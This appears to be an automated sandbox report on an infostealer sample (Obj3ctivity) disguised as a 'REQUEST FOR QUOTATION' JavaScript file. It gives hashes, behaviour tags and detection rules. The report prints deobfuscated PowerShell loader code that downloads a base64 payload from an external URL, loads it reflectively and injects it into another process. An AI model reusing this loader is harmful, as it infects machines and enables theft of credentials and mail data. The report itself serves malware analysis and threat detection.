obj3ctivity | cfea01473114d986467817f9c5e0713e84ef8d6fa8a44509780d390fc6b09b41

General

Target

REQUEST FOR QUOTATION.js
Size

318KB
Sample

240926-qds5kasaqe
MD5

08dab38ef2c8bdada3b4928145b777f7
SHA1

8d9fe403c417c9fc50ed09528dd2b096ebfe6375
SHA256

cfea01473114d986467817f9c5e0713e84ef8d6fa8a44509780d390fc6b09b41
SHA512

52aeb79f20660946bb7095addb26de8f115d29c4b15cd8169418d73db102c4ca7f79096780baa896357efe40999957969631b718557fd7c35e7375a2288ea5d5
SSDEEP

6144:ae3G0HrhDz6LXUo09qGOWIC5pbyo68vh146TIVdDfo+IitZsVAsuG7EEqZ1Cr81b:Zr81VpOhEUX7dyIUwRjsSXKs0AUUbPMz

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

1
# powershell snippet 0
2
invoke-expression "$url = 'https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt';$base64Content = (New-Object System.Net.WebClient).DownloadString($url);$binaryContent = [System.Convert]::FromBase64String($base64Content);$assembly = [Reflection.Assembly]::Load($binaryContent);$type = $assembly.GetType('RunPE.Home');$method = $type.GetMethod('VAI');$method.Invoke($null, [object[]]@('txt.afinej/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'));"
3
4
# powershell snippet 1
5
$url = "https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt"
6
$base64content = (new-object system.net.webclient).downloadstring("https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt")
7
$binarycontent = [system.convert]::frombase64string($base64content)
8
$assembly = [reflection.assembly]::load($binarycontent)
9
$type = $assembly.gettype("RunPE.Home")
10
$method = $type.getmethod("VAI")
11
$method.invoke($null, [object[]]"txt.afinej/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth", "desativado", "desativado", "desativado", "AddInProcess32", "desativado")
12

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Targets

- Target
  
  REQUEST FOR QUOTATION.js
- Size
  
  318KB
- MD5
  
  08dab38ef2c8bdada3b4928145b777f7
- SHA1
  
  8d9fe403c417c9fc50ed09528dd2b096ebfe6375
- SHA256
  
  cfea01473114d986467817f9c5e0713e84ef8d6fa8a44509780d390fc6b09b41
- SHA512
  
  52aeb79f20660946bb7095addb26de8f115d29c4b15cd8169418d73db102c4ca7f79096780baa896357efe40999957969631b718557fd7c35e7375a2288ea5d5
- SSDEEP
  
  6144:ae3G0HrhDz6LXUo09qGOWIC5pbyo68vh146TIVdDfo+IitZsVAsuG7EEqZ1Cr81b:Zr81VpOhEUX7dyIUwRjsSXKs0AUUbPMz
Score

10^/10

execution obj3ctivity collection discovery persistence privilege_escalation stealer
- Detects Obj3ctivity Stage1
  Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
  stealer
- Obj3ctivity, PXRECVOWEIWOEI
  Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
  stealer obj3ctivity
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
  Run Powershell and hide display window.
  execution
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles
  collection
- Looks up external IP address via web service
  Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext
behavioral1 behavioral2